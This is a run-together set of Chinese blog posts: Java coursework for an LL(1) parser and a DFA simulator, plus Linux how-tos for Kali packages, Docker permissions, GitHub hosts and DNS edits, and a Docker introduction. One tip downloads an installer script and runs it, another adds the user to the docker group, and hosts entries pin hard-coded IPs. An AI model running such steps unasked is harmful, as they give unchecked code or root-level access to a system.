(itemCharStr.contains(aStr)) { int aIndex = itemCharStr.indexOf(aStr); String findStr = ""; try { findStr = itemCharStr.substring(aIndex + 1, aIndex + 2); } catch (Exception e) { return null; } return findStr.charAt(0); } return null; } /** * 是否为ε开始的 * * @param selectExp * @return */ public static boolean isEmptyStart(String selectExp) { char charAt = selectExp.charAt(0); if (charAt == 'ε') { return true; } return false; } /** * 是否是终结符开始的 * * @param ntSet * @param selectExp * @return */ public static boolean isNtStart(TreeSet<Character> ntSet, String selectExp) { char charAt = selectExp.charAt(0); if (ntSet.contains(charAt)) { return true; } return false; } /** * 是否是非终结符开始的 * * @param nvSet * @param selectExp * @return */ public static boolean isNvStart(TreeSet<Character> nvSet, String selectExp) { char charAt = selectExp.charAt(0); if (nvSet.contains(charAt)) { return true; } return false; } /** * 查找产生式 * * @param selectMap * @param peek * 当前Nv * @param charAt * 当前字符 * @return */ public static String findUseExp(TreeMap<Character, HashMap<String, TreeSet<Character>>> selectMap, Character peek, char charAt) { try { HashMap<String, TreeSet<Character>> hashMap = selectMap.get(peek); Set<String> keySet = hashMap.keySet(); for (String useExp : keySet) { TreeSet<Character> treeSet = hashMap.get(useExp); if (treeSet.contains(charAt)) { return useExp; } } } catch (Exception e) { return null; } return null; } } class Analyzer { public Analyzer() { super(); analyzeStatck = new Stack<Character>(); // 结束符进栈 analyzeStatck.push('#'); } private ArrayList<AnalyzeProduce> analyzeProduces; /** * LL(1)文法 */ private Gs ll1Gs; public Gs getLl1Gs() { return ll1Gs; } public void setLl1Gs(Gs ll1Gs) { this.ll1Gs = ll1Gs; } /** * 开始符 */ private Character startChar; /** * 分析栈 */ private Stack<Character> analyzeStatck; /** * 剩余输入串 */ private String str; /** * 推导所用产生或匹配 */ private String useExp; public ArrayList<AnalyzeProduce> getAnalyzeProduces() { return analyzeProduces; } public void setAnalyzeProduces(ArrayList<AnalyzeProduce> analyzeProduces) { this.analyzeProduces = analyzeProduces; } public Character getStartChar() { return startChar; } public void setStartChar(Character startChar) { this.startChar = startChar; } public Stack<Character> getAnalyzeStatck() { return analyzeStatck; } public void setAnalyzeStatck(Stack<Character> analyzeStatck) { this.analyzeStatck = analyzeStatck; } public String getStr() { return str; } public void setStr(String str) { this.str = str; } public String getUseExp() { return useExp; } public void setUseExp(String useExp) { this.useExp = useExp; } /** * 分析 */ //进栈 flag is here public void analyze() { analyzeProduces = new ArrayList<AnalyzeProduce>(); // 开始符进栈 analyzeStatck.push(startChar); System.out.println("开始符:" + startChar); System.out.println("步骤\t\t\t " + "符号栈\t\t " + "\t输入串 \t\t\t" + "所用产生式 "); int index = 0; // 开始分析 // while (analyzeStatck.peek() != '#' && str.charAt(0) != '#') { while (!analyzeStatck.empty()) { index++; //返回栈顶元素 if (analyzeStatck.peek() != str.charAt(0)) { // 到分析表中找到这个产生式 String nowUseExpStr = TextUtil.findUseExp(ll1Gs.getSelectMap(), analyzeStatck.peek(), str.charAt(0)); System.out.println(index + "\t\t\t" + analyzeStatck.toString() + "\t\t\t" + str + "\t\t\t" + analyzeStatck.peek() + "->" + nowUseExpStr); AnalyzeProduce produce = new AnalyzeProduce(); produce.setIndex(index); produce.setAnalyzeStackStr(analyzeStatck.toString()); produce.setStr(str); if (null == nowUseExpStr) { produce.setUseExpStr("无法匹配!"); } else { produce.setUseExpStr(analyzeStatck.peek() + "->" + nowUseExpStr); } analyzeProduces.add(produce); // 将之前的分析栈中的栈顶出栈 analyzeStatck.pop(); // 将要用到的表达式入栈,反序入栈 if (null != nowUseExpStr && nowUseExpStr.charAt(0) != 'ε') { for (int j = nowUseExpStr.length() - 1; j >= 0; j--) { char currentChar = nowUseExpStr.charAt(j); analyzeStatck.push(currentChar); } } continue; } // 如果可以匹配,分析栈出栈,串去掉一位 if (analyzeStatck.peek() == str.charAt(0)) { System.out.println(index + "\t\t\t" + analyzeStatck.toString() + "\t\t\t" + str + "\t\t\t" + "“" + str.charAt(0) + "”匹配"); AnalyzeProduce produce = new AnalyzeProduce(); produce.setIndex(index); produce.setAnalyzeStackStr(analyzeStatck.toString()); produce.setStr(str); produce.setUseExpStr("“" + str.charAt(0) + "”匹配"); analyzeProduces.add(produce); analyzeStatck.pop(); str = str.substring(1); continue; } } } } class AnalyzeProduce implements Serializable{ private static final long serialVersionUID = 10L; private Integer index; private String analyzeStackStr; private String str; private String useExpStr; public Integer getIndex() { return index; } public void setIndex(Integer index) { this.index = index; } public String getAnalyzeStackStr() { return analyzeStackStr; } public void setAnalyzeStackStr(String analyzeStackStr) { this.analyzeStackStr = analyzeStackStr; } public String getStr() { return str; } public void setStr(String str) { this.str = str; } public String getUseExpStr() { return useExpStr; } public void setUseExpStr(String useExpStr) { this.useExpStr = useExpStr; } } class Gs implements Serializable { /** * */ private static final long serialVersionUID = 1L; public Gs() { super(); gsArray = new ArrayList<String>(); nvSet = new TreeSet<Character>(); ntSet = new TreeSet<Character>(); firstMap = new HashMap<Character, TreeSet<Character>>(); followMap = new HashMap<Character, TreeSet<Character>>(); selectMap = new TreeMap<Character, HashMap<String, TreeSet<Character>>>(); } private String[][] analyzeTable; /** * Select集合 */ private TreeMap<Character, HashMap<String, TreeSet<Character>>> selectMap; /** * LL(1)文法产生集合 */ private ArrayList<String> gsArray; /** * 表达式集合 */ private HashMap<Character, ArrayList<String>> expressionMap; /** * 开始符 */ private Character s; /** * Vn非终结符集合 */ private TreeSet<Character> nvSet; /** * Vt终结符集合 */ private TreeSet<Character> ntSet; /** * First集合 */ private HashMap<Character, TreeSet<Character>> firstMap; /** * Follow集合 */ private HashMap<Character, TreeSet<Character>> followMap; public String[][] getAnalyzeTable() { return analyzeTable; } public void setAnalyzeTable(String[][] analyzeTable) { this.analyzeTable = analyzeTable; } public TreeMap<Character, HashMap<String, TreeSet<Character>>> getSelectMap() { return selectMap; } public void setSelectMap(TreeMap<Character, HashMap<String, TreeSet<Character>>> selectMap) { this.selectMap = selectMap; } public HashMap<Character, TreeSet<Character>> getFirstMap() { return firstMap; } public void setFirstMap(HashMap<Character, TreeSet<Character>> firstMap) { this.firstMap = firstMap; } public HashMap<Character, TreeSet<Character>> getFollowMap() { return followMap; } public void setFollowMap(HashMap<Character, TreeSet<Character>> followMap) { this.followMap = followMap; } public HashMap<Character, ArrayList<String>> getExpressionMap() { return expressionMap; } public void setExpressionMap(HashMap<Character, ArrayList<String>> expressionMap) { this.expressionMap = expressionMap; } public ArrayList<String> getGsArray() { return gsArray; } public void setGsArray(ArrayList<String> gsArray) { this.gsArray = gsArray; } public Character getS() { return s; } public void setS(Character s) { this.s = s; } public TreeSet<Character> getNvSet() { return nvSet; } public void setNvSet(TreeSet<Character> nvSet) { this.nvSet = nvSet; } public TreeSet<Character> getNtSet() { return ntSet; } public void setNtSet(TreeSet<Character> ntSet) { this.ntSet = ntSet; } /** * 获取非终结符集与终结符集 * * @param gsArray * @param nvSet * @param ntSet */ public void getNvNt() { for (String gsItem : gsArray) { String[] nvNtItem = gsItem.split("->"); String charItemStr = nvNtItem[0]; char charItem = charItemStr.charAt(0); // nv在左边 nvSet.add(charItem); } for (String gsItem : gsArray) { String[] nvNtItem = gsItem.split("->"); // nt在右边 String nvItemStr = nvNtItem[1]; // 遍历每一个字 for (int i = 0; i < nvItemStr.length(); i++) { char charItem = nvItemStr.charAt(i); if (!nvSet.contains(charItem)) { ntSet.add(charItem); } } } } /** * 初始化表达式集合 */ public void initExpressionMaps() { expressionMap = new HashMap<Character, ArrayList<String>>(); for (String gsItem : gsArray) { String[] nvNtItem = gsItem.split("->"); String charItemStr = nvNtItem[0]; String charItemRightStr = nvNtItem[1]; char charItem = charItemStr.charAt(0); if (!expressionMap.containsKey(charItem)) { ArrayList<String> expArr = new ArrayList<String>(); expArr.add(charItemRightStr); expressionMap.put(charItem, expArr); } else { ArrayList<String> expArr = expressionMap.get(charItem); expArr.add(charItemRightStr); expressionMap.put(charItem, expArr); } } } /** * 获取First集 */ public void getFirst() { // 遍历所有Nv,求出它们的First集合 Iterator<Character> iterator = nvSet.iterator(); while (iterator.hasNext()) { Character charItem = iterator.next(); ArrayList<String> arrayList = expressionMap.get(charItem); for (String itemStr : arrayList) { boolean shouldBreak = false; // Y1Y2Y3...Yk for (int i = 0; i < itemStr.length(); i++) { char itemitemChar = itemStr.charAt(i); TreeSet<Character> itemSet = firstMap.get(charItem); if (null == itemSet) { itemSet = new TreeSet<Character>(); } shouldBreak = calcFirst(itemSet, charItem, itemitemChar); if (shouldBreak) { break; } } } } } /** * 计算First函数 * * @param itemSet * @param charItem * @param itemitemChar * @return */ private boolean calcFirst(TreeSet<Character> itemSet, Character charItem, char itemitemChar) { // get ago // TreeSet<Character> itemSet = new TreeSet<Character>(); // 将它的每一位和Nt判断下 // 是终结符或空串,就停止,并将它加到FirstMap中 if (itemitemChar == 'ε' || ntSet.contains(itemitemChar)) { itemSet.add(itemitemChar); firstMap.put(charItem, itemSet); // break; return true; } else if (nvSet.contains(itemitemChar)) {// 这一位是一个非终结符 ArrayList<String> arrayList = expressionMap.get(itemitemChar); for (int i = 0; i < arrayList.size(); i++) { String string = arrayList.get(i); char tempChar = string.charAt(0); calcFirst(itemSet, charItem, tempChar); } } return true; } /** * 获取Follow集合 */ public void getFollow() { for (Character tempKey : nvSet) { TreeSet<Character> tempSet = new TreeSet<Character>(); followMap.put(tempKey, tempSet); } // 遍历所有Nv,求出它们的First集合 Iterator<Character> iterator = nvSet.descendingIterator(); // nvSet.descendingIterator(); while (iterator.hasNext()) { Character charItem = iterator.next(); System.out.println("charItem:" + charItem); Set<Character> keySet = expressionMap.keySet(); for (Character keyCharItem : keySet) { ArrayList<String> charItemArray = expressionMap.get(keyCharItem); for (String itemCharStr : charItemArray) { System.out.println(keyCharItem + "->" + itemCharStr); TreeSet<Character> itemSet = followMap.get(charItem); calcFollow(charItem, charItem, keyCharItem, itemCharStr, itemSet); } } } } /** * 计算Follow集 * * @param putCharItem * 正在查询item * @param charItem * 待找item * @param keyCharItem * 节点名 * @param itemCharStr * 符号集 * @param itemSet * 结果集合 */ private void calcFollow(Character putCharItem, Character charItem, Character keyCharItem, String itemCharStr, TreeSet<Character> itemSet) { /////// // (1)A是S(开始符),加入# if (charItem.equals(s)) { itemSet.add('#'); System.out.println("---------------find S:" + charItem + " ={#}+Follow(E)"); followMap.put(putCharItem, itemSet); // return; } // (2)Ab,=First(b)-ε,直接添加终结符 if (TextUtil.containsAb(ntSet, itemCharStr, charItem)) { Character alastChar = TextUtil.getAlastChar(itemCharStr, charItem); System.out.println("---------------find Ab:" + itemCharStr + " " + charItem + " =" + alastChar); itemSet.add(alastChar); followMap.put(putCharItem, itemSet); // return; } // (2).2AB,=First(B)-ε,=First(B)-ε,添加first集合 if (TextUtil.containsAB(nvSet, itemCharStr, charItem)) { Character alastChar = TextUtil.getAlastChar(itemCharStr, charItem); System.out.println( "---------------find AB:" + itemCharStr + " " + charItem + " =First(" + alastChar + ")"); TreeSet<Character> treeSet = firstMap.get(alastChar); itemSet.addAll(treeSet); if (treeSet.contains('ε')) { itemSet.add('#'); } itemSet.remove('ε'); followMap.put(putCharItem, itemSet); /////////////////////// if (TextUtil.containsbAbIsNull(nvSet, itemCharStr, charItem, expressionMap)) { char tempChar = TextUtil.getAlastChar(itemCharStr, charItem); System.out.println("tempChar:" + tempChar + " key" + keyCharItem); if (!keyCharItem.equals(charItem)) { System.out.println("---------------find tempChar bA: " + "tempChar:" + tempChar + keyCharItem + " " + itemCharStr + " " + charItem + " =Follow(" + keyCharItem + ")"); Set<Character> keySet = expressionMap.keySet(); for (Character keyCharItems : keySet) { ArrayList<String> charItemArray = expressionMap.get(keyCharItems); for (String itemCharStrs : charItemArray) { calcFollow(putCharItem, keyCharItem, keyCharItems, itemCharStrs, itemSet); } } } } } // (3)B->aA,=Follow(B),添加followB if (TextUtil.containsbA(nvSet, itemCharStr, charItem, expressionMap)) { if (!keyCharItem.equals(charItem)) { System.out.println("---------------find bA: " + keyCharItem + " " + itemCharStr + " " + charItem + " =Follow(" + keyCharItem + ")"); Set<Character> keySet = expressionMap.keySet(); for (Character keyCharItems : keySet) { ArrayList<String> charItemArray = expressionMap.get(keyCharItems); for (String itemCharStrs : charItemArray) { calcFollow(putCharItem, keyCharItem, keyCharItems, itemCharStrs, itemSet); } } } } } /** * 获取Select集合 */ public void getSelect() { // 遍历每一个表达式 // HashMap<Character, HashMap<String, TreeSet<Character>>> Set<Character> keySet = expressionMap.keySet(); for (Character selectKey : keySet) { ArrayList<String> arrayList = expressionMap.get(selectKey); // 每一个表达式 HashMap<String, TreeSet<Character>> selectItemMap = new HashMap<String, TreeSet<Character>>(); for (String selectExp : arrayList) { /** * 存放select结果的集合 */ TreeSet<Character> selectSet = new TreeSet<Character>(); // set里存放的数据分3种情况,由selectExp决定 // 1.A->ε,=follow(A) if (TextUtil.isEmptyStart(selectExp)) { selectSet = followMap.get(selectKey); selectSet.remove('ε'); selectItemMap.put(selectExp, selectSet); } // 2.Nt开始,=Nt // <br>终结符开始 if (TextUtil.isNtStart(ntSet, selectExp)) { selectSet.add(selectExp.charAt(0)); selectSet.remove('ε'); selectItemMap.put(selectExp, selectSet); } // 3.Nv开始,=first(Nv) if (TextUtil.isNvStart(nvSet, selectExp)) { selectSet = firstMap.get(selectKey); selectSet.remove('ε'); selectItemMap.put(selectExp, selectSet); } selectMap.put(selectKey, selectItemMap); } } } /** * 生成预测分析表 */ public void genAnalyzeTable() throws Exception { Object[] ntArray = ntSet.toArray(); Object[] nvArray = nvSet.toArray(); // 预测分析表初始化 analyzeTable = new String[nvArray.length + 1][ntArray.length + 1]; // 输出一个占位符 System.out.print("Nv/Nt" + "\t\t"); analyzeTable[0][0] = "Nv/Nt"; // 初始化首行 for (int i = 0; i < ntArray.length; i++) { if (ntArray[i].equals('ε')) { ntArray[i] = '#'; } System.out.print(ntArray[i] + "\t\t"); analyzeTable[0][i + 1] = ntArray[i] + ""; } System.out.println(""); for (int i = 0; i < nvArray.length; i++) { // 首列初始化 System.out.print(nvArray[i] + "\t\t"); analyzeTable[i + 1][0] = nvArray[i] + ""; for (int j = 0; j < ntArray.length; j++) { String findUseExp = TextUtil.findUseExp(selectMap, Character.valueOf((Character) nvArray[i]), Character.valueOf((Character) ntArray[j])); if (null == findUseExp) { System.out.print("\t\t"); analyzeTable[i + 1][j + 1] = ""; } else { System.out.print(nvArray[i] + "->" + findUseExp + "\t\t"); analyzeTable[i + 1][j + 1] = nvArray[i] + "->" + findUseExp; } } System.out.println(); } } } /*主程序*/ public class LL1_modify { public static void main(String[] args) throws Exception { // TODO Auto-generated method stub // // LL(1)文法产生集合 ArrayList<String> gsArray = new ArrayList<String>(); // // Vn非终结符集合 // TreeSet<Character> nvSet = new TreeSet<Character>(); // // Vt终结符集合 // TreeSet<Character> ntSet = new TreeSet<Character>(); Gs gs = new Gs(); initGs(gsArray); gs.setGsArray(gsArray); // getNvNt(gsArray, gs.getNvSet(), gs.getNtSet()); gs.getNvNt(); gs.initExpressionMaps(); gs.getFirst(); // 设置开始符 gs.setS('E'); gs.getFollow(); gs.getSelect(); // 创建一个分析器 Analyzer analyzer = new Analyzer(); analyzer.setStartChar('E'); analyzer.setLl1Gs(gs); analyzer.setStr("i+i*i#"); analyzer.analyze(); gs.genAnalyzeTable(); System.out.println(""); } /** * 获取非终结符集与终结符集 * * @param gsArray * @param nvSet * @param ntSet */ private static void getNvNt(ArrayList<String> gsArray, TreeSet<Character> nvSet, TreeSet<Character> ntSet) { for (String gsItem : gsArray) { String[] nvNtItem = gsItem.split("->"); String charItemStr = nvNtItem[0]; char charItem = charItemStr.charAt(0); // nv在左边 nvSet.add(charItem); } for (String gsItem : gsArray) { String[] nvNtItem = gsItem.split("->"); // nt在右边 String nvItemStr = nvNtItem[1]; // 遍历每一个字 for (int i = 0; i < nvItemStr.length(); i++) { char charItem = nvItemStr.charAt(i); if (!nvSet.contains(charItem)) { ntSet.add(charItem); } } } } /** * 初始化LL(1)文法 * * @param gsArray */ private static void initGs(ArrayList<String> gsArray) { // Z相当于E',Y相当于T' gsArray.add("E->TZ"); gsArray.add("Z->+TZ"); gsArray.add("Z->ε"); gsArray.add("Z->+TZ"); gsArray.add("T->FY"); gsArray.add("Z->+TZ"); gsArray.add("Y->*FY"); gsArray.add("Y->ε"); gsArray.add("F->i"); gsArray.add("F->(E)"); } }测试结果如下:
实验一、简单的词法设计——DFA模拟程序一、实验目的通过实验教学,加深学生对所学的关于编译的理论知识的理解,增强学生对所学知识的综合应用能力,并通过实践达到对所学的知识进行验证。通过对 DFA 模拟程序实验,使学生掌握词法分析的实现技术,及具体实现方法。通过本实验加深对词法分析程序的功能及实现方法的理解 。二、实验环境供 Windows 系统的 PC 机,可用 C++/C#/Java 等编程工具编写,语言不限。三、实验内容1、自己定义一个 DFA 或者一个右线性正规文法示例如(仅供参考) G[S]:S→aU|bV U→bV|aQV→aU|bQ Q→aQ|bQ|e2、利用合适数据结构存储自动机,如3、利用有穷确定自动机M=(K,Σ,f, S,Z)行为模拟程序算法,来对于任意给定的串,若属于该语言时,该过程经有限次计算后就会停止并回答“是”,若不属于,要么能停止并回答“不是”K:=S; c:=getchar; while c<>eof do {K:=f(K,c); c:=getchar; }; if K is in Z then return (‘yes’) else return (‘no’)四、实验方式与要求1、设计的自动机程序要具有通用性,上机编程实现;2、实验报告格式要求书写要点:概要设计(总体设计思想);详细设计(程序主流程、自动机的存储格式、关键函数的流程图);结果分析(输入与输出结果、存在问题及有待改进善的地方、实验心得);3、实验报告限4页内。设计思路:我们主要是用 Java 语言实现词法分析的过程,需要处理 DFA 和 NFA 两种状态,所以在文末我们给出了测试样例以及测试截图,部分代码给出了详细的注释。实验代码如下:package python; import java.util.List; import java.util.ArrayList; import java.util.Scanner; /** * @author Angel_Kitty * @createTime 2018年11月21日 上午2:23:33 */ /**状态转换式构造类*/ class edge { char PriorityState; char ch; char NextState; edge(char p,char c, char n){ PriorityState = p; ch = c; NextState = n; } @Override public String toString() { return "edge [PriorityState=" + PriorityState + ", ch=" + ch + ", NextState=" + NextState + "]"; } } /**DFA的构造*/ public class DFA { static List<edge> listEdge = new ArrayList<edge>();//状态集 //static HashMap<edge, Character> mapEdge = new HashMap<>(); static String S;//初态集 static String Z;//终态集 //flag is here static boolean judeZ(char ch){ int j=0; for(; j<Z.length(); j++){ if(Z.charAt(j)==ch) return true; } return false; } static void input() { Scanner in = new Scanner(System.in); String instr = null; String subStr[] = null; System.out.println("请输入开始符:"); S = in.next(); System.out.println("请输入终态集(终集符组成的一个字符串):"); Z = in.next(); System.out.println("请输入正规文法以end结尾(形式如下图):"); System.out.println("----------"); System.out.println("| S-aU |"); System.out.println("| S-bV |"); System.out.println("| U-bV |"); System.out.println("| .... |"); System.out.println("| end |"); System.out.println("----------"); while(in.hasNext()){ instr = in.next(); if("end".equals(instr)) break; subStr = instr.split("-|\\|"); String s = subStr[0];//读取一行f(转换函数) for(int i=1; i<subStr.length; i++){ edge e = null; if(subStr[i].length()==2){ char c = subStr[i].charAt(0);//有穷符号表 char n = subStr[i].charAt(1);//状态集 listEdge.add(new edge(s.charAt(0),c,n));//f(S,a)=U } if(subStr[i].length()==1){ char c = subStr[i].charAt(0); listEdge.add(new edge(s.charAt(0),c,Z.charAt(0))); } } } } static char judeNextState(char s,char ch){ for(int i=0; i<listEdge.size(); i++){ if(s==listEdge.get(i).PriorityState && ch==listEdge.get(i).ch){ return listEdge.get(i).NextState; } } return '0'; } static void judeDFA(){ Scanner in = new Scanner(System.in); System.out.println("请输入要判断的字符串:"); while(in.hasNext()){ String str = in.next(); if(str.equals("#")){ System.out.println("程序已退出,欢迎下次使用!"); return; } char temp = S.charAt(0); int i=0; //System.out.println(temp+" "+mapEdge.get(e)); for(; i<str.length(); i++){ //System.out.println("temp="+temp); if(str.charAt(i)=='a'){ temp = judeNextState(temp, 'a'); } else if(str.charAt(i)=='b'){ temp = judeNextState(temp, 'b'); } else break; } //flag is here if(i>=str.length() && judeZ(temp)) System.out.println("此字符串“属于”该文法!"); else System.out.println("此字符串“不属于”该文法!"); System.out.println("再次判断请输入字符串(退出程序输入#):"); } } /*main*/ public static void main(String[] args) { // TODO Auto-generated method stub DFA.input(); DFA.judeDFA(); } } /*test example*/ /* * //start symbol S //end symbol Q //Regular Grammar1 S-aU S-bV U-bV U-aQ V-aU V-bQ Q-aQ Q-bQ end //judge string ->test sample1: baab ->test sample2: abab //start symbol S //end symbol Q,V //Regular Grammer2 S-aU S-bV U-bV U-aQ Q-aQ Q-bQ end //judge string -> test sample1: ab -> test sample2: abb if you input '#',The program will exit. * * */测试结果如下:
问题描述由于 Kali Linux 的内核是基于 Debian 的,我们在安装网易云音乐的时候更偏向于选择安装网易云音乐 v1.1.0 deepin15(64位) 的包,可是我发现在安装过程中,无法定位 libqcef1 软件包,对于很多钟爱网易云音乐的粉丝们肯定是一大打击啊,所以为了解决这一问题,我将我踩过的坑记录了下来。解决方案1、使用命令安装一些基本包sudo apt install devscripts equivs git2、克隆仓库并进入git clone https://github.com/linuxdeepin/qcef.git && cd qcef3、安装依赖关系rm -f qcef-build-deps_*_*.deb mk-build-deps -s sudo -i这将生成并安装一个依赖于所需包的虚拟包。 rm -f 命令可以确保没有以前的建立的虚拟包,否则可能会混淆 mk-build-deps。4、建立一个完整的 libqcef1 Debian 软件包dpkg-buildpackage -uc -us -b -j$(nproc)5、安装并清理sudo apt install $(pwd)/../libqcef1_*.deb rm ../*qcef* 2> /dev/null现在,我们就可正常安装网易云音乐 v1.1.0 deepin15(64位)sudo dpkg -i netease-cloud-music_1.1.0_amd64_deepin.deb如果出现包依赖关系有问题,用下面这个命令即可解决!sudo apt-get install -f
问题描述今天在运行 docker ps 命令的时候出现如下问题:Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/containers/json: dial unix /var/run/docker.sock: connect: permission denied看提示信息好像是权限不够,我们试试 root 权限:我们发现用 root 权限就可以使用 docker 相关命令,那我们想在普通用户下使用 docker 相关命令,这该怎么办呢?我们去 Docker Mannual 找到原因,原因如下:Manage Docker as a non-root user The docker daemon binds to a Unix socket instead of a TCP port. By default that Unix socket is owned by the user root and other users can only access it using sudo. The docker daemon always runs as the root user. If you don’t want to use sudo when you use the docker command, create a Unix group called docker and add users to it. When the docker daemon starts, it makes the ownership of the Unix socket read/writable by the docker group.上面这段话的意思是 docker 进程使用 Unix Socket 而不是 TCP 端口。而默认情况下, Unix socket属于 root 用户,需要 root 权限才能访问。我们该怎么解决这个问题呢?解决方案一使用 sudo 获取管理员权限,运行 docker 命令(当然我不推荐这种方法,因为我没成功过,似乎还是出现了如上问题)解决方案二由于 docker 守护进程启动的时候,会默认赋予名字为 docker 的用户组读写 Unix socket 的权限,因此只要创建 docker 用户组,并将当前用户加入到 docker 用户组中,那么当前用户就有权限访问 Unix socket 了,进而也就可以执行 docker 相关命令了。我们可以使用如下命令解决问题:sudo groupadd docker #添加docker用户组 sudo gpasswd -a $USER docker #将登陆用户加入到docker用户组中 newgrp docker #更新用户组 docker ps #测试docker命令是否可以使用sudo正常使用然后我们可以完美地解决了这个问题,效果如下:
我相信,很多朋友都遇到了 Github 访问速度过慢的问题,我也是在此记下笔记,方便以后拿来使用。第一步、修改Hosts通过问题的搜索了解到 github 访问很慢一般通过修改 hosts 文件解决的。在 Ubuntu18.04 中打开终端,输入命令 sudo vim /etc/hosts ,英文输入法输入 G , vim 编辑器跳到 hosts 文件的最后一行,添加以下几行:#Github 151.101.73.194 github.global.ssl.fastly.net 151.101.108.133 assets-cdn.github.com 185.199.111.153 documentcloud.github.com 185.199.110.153 documentcloud.github.com 185.199.109.153 documentcloud.github.com 185.199.108.153 documentcloud.github.com 192.30.253.113 github.com 192.30.253.112 github.com 192.30.253.119 gist.github.com 192.30.253.118 gist.github.com 185.199.111.153 help.github.com 185.199.110.153 help.github.com 185.199.109.153 help.github.com 185.199.108.153 help.github.com 192.30.253.121 nodeload.github.com 192.30.253.120 nodeload.github.com 151.101.108.133 raw.github.com 18.204.240.114 status.github.com 18.211.136.12 status.github.com 18.211.136.12 status.github.com 192.30.253.166 training.github.com 151.101.109.194 github.global.ssl.fastly.net 151.101.108.133 avatars0.githubusercontent.com 151.101.72.133 avatars1.githubusercontent.com添加完后,退出 vim 编辑器:按下 Esc 键,英文输入法输入: wq (是" :wq "啊,一定要记得有冒号),回车即可。更新 DNS 缓存,输入 sudo /etc/init.d/networking restart , Mac OS 的话输入 sudo dscacheutil -flushcache 即可更新 DNS 缓存,Windows的话直接用管理员权限修改 C:\Windows\System32\drivers\etc\hosts 文件即可。可能你会遇到无法修改的情况,请参看这里:Windows10没有修改hosts文件权限的解决方案(亲测有效)修改完成后保存即可。第二步,修改DNS这样算是完事了?重新访问 github ,发现并没有多大改善,我在想是不是 DNS 缓存的问题?很有可能哦~话不多说,赶紧修改 DNS 文件呀!修改 DNS 文件终端内输入 sudo vim /etc/resolv.conf然后可以注掉本地的 DNS ,添加 DNS ,输入:nameserver 8.8.8.8 nameserver 8.8.4.4 nameserver 114.114.114.114退出 vim 编辑器,同上。更新 DNS 缓存,同上。再次访问 github ,OK了,问题解决。希望对遇见同样问题的大家有所帮助。
安装DockerDocker 软件包已经包括在默认的 CentOS-Extras 软件源里。因此想要安装 docker,只需要运行下面的 yum 命令$ sudo yum install docker当然在测试或开发环境中 Docker 官方为了简化安装流程,提供了一套便捷的安装脚本,CentOS 系统上可以使用这套脚本安装:curl -fsSL get.docker.com -o get-docker.sh sh get-docker.sh具体可以参看 docker-install 的脚本:https://github.com/docker/docker-install执行这个命令后,脚本就会自动的将一切准备工作做好,并且把 Docker CE 的 Edge 版本安装在系统中。安装完成后,运行下面的命令,验证是否安装成功:docker version or docker info返回docker的版本相关信息,证明 docker 安装成功启动Docker-CE$ sudo systemctl enable docker $ sudo systemctl start dockerDocker的简单运用---Hello World由于服务器日常崩溃了, docker 出了点问题,所以以下案例的演示是基于 Kali Linux 环境下进行的。我们通过最简单的 image 文件 hello world,感受一下 Docker 的魅力吧!我们直接运行下面的命令,将名为 hello-world 的 image 文件从仓库抓取到本地。docker pull library/hello-worlddocker pull images 是抓取 image 文件, library/hello-world 是 image 文件在仓库里面的位置,其中 library 是 image 文件所在的组, hello-world 是 image 文件的名字。抓取成功以后,就可以在本机看到这个 image 文件了。docker images我们可以看到如下结果:现在,我们可以运行 hello-world 这个 image 文件docker run hello-world我们可以看到如下结果:输出这段提示以后,hello world 就会停止运行,容器自动终止。有些容器不会自动终止,因为提供的是服务,比如Mysql镜像等。是不是很 easy 呢?我们从上面可以看出, docker 的功能是十分强大的,除此之外,我们还可以拉去一些 Ubuntu , Apache 等镜像,在未来的教程中我们将会一一提到。Docker 提供了一套简单实用的命令来创建和更新镜像,我们可以通过网络直接下载一个已经创建好了的应用镜像,并通过 Docker RUN 命令就可以直接使用。当镜像通过 RUN 命令运行成功后,这个运行的镜像就是一个 Docker 容器啦,容器可以理解为一个轻量级的沙箱, Docker 利用容器来运行和隔离应用,容器是可以被启动、停止、删除的,这并不会影响 Docker 镜像。我们可以看看下面这幅图:Docker 客户端是 Docker 用户与 Docker 交互的主要方式。当您使用 docker 命令行运行命令时, Docker 客户端将这些命令发送给服务器端,服务端将执行这些命令。 docker 命令使用 docker API。 Docker 客户端可以与多个服务端进行通信。我们将剖析一下 Docker 容器是如何工作的,学习好Docker容器工作的原理,我们就可以自己去管理我们的容器了。Docker架构在上面的学习中,我们简单地讲解了Docker的基本架构。了解到了Docker 使用的是 C/S 结构,即客户端/服务器体系结构。明白了 Docker 客户端与 Docker 服务器进行交互时, Docker 服务端负责构建、运行和分发 Docker 镜像。 也知道了Docker 客户端和服务端可以运行在一台机器上,可以通过 RESTful 、 stock 或网络接口与远程 Docker 服务端进行通信。我们从下图可以很直观的了解到Docker的架构:Docker 的核心组件包括:Docker ClientDocker daemonDocker ImageDocker RegistryDocker ContainerDocker 采用的是 Client/Server 架构。客户端向服务器发送请求,服务器负责构建、运行和分发容器。客户端和服务器可以运行在同一个 Host 上,客户端也可以通过 socket 或 REST API 与远程的服务器通信。可能很多朋友暂时不太理解一些东西,比如 REST API 是什么东西等,不过没关系,在后面的文章中会一一给大家讲解清楚。Docker ClientDocker Client ,也称 Docker 客户端。它其实就是 Docker 提供命令行界面 (CLI) 工具,是许多 Docker 用户与 Docker 进行交互的主要方式。客户端可以构建,运行和停止应用程序,还可以远程与Docker_Host进行交互。最常用的 Docker 客户端就是 docker 命令,我们可以通过 docker 命令很方便地在 host 上构建和运行 docker 容器。Docker daemonDocker daemon 是服务器组件,以 Linux 后台服务的方式运行,是 Docker 最核心的后台进程,我们也把它称为守护进程。它负责响应来自 Docker Client 的请求,然后将这些请求翻译成系统调用完成容器管理操作。该进程会在后台启动一个 API Server ,负责接收由 Docker Client 发送的请求,接收到的请求将通过Docker daemon 内部的一个路由分发调度,由具体的函数来执行请求。我们大致可以将其分为以下三部分:Docker ServerEngineJobDocker Daemon的架构如下所示:Docker Daemon 可以认为是通过 Docker Server 模块接受 Docker Client 的请求,并在 Engine 中处理请求,然后根据请求类型,创建出指定的 Job 并运行。 Docker Daemon 运行在 Docker host 上,负责创建、运行、监控容器,构建、存储镜像。运行过程的作用有以下几种可能:向 Docker Registry 获取镜像通过 graphdriver 执行容器镜像的本地化操作通过 networkdriver 执行容器网络环境的配置通过 execdriver 执行容器内部运行的执行工作由于 Docker Daemon 和 Docker Client 的启动都是通过可执行文件 docker 来完成的,因此两者的启动流程非常相似。 Docker 可执行文件运行时,运行代码通过不同的命令行 flag 参数,区分两者,并最终运行两者各自相应的部分。启动 Docker Daemon 时,一般可以使用以下命令来完成docker --daemon = true docker 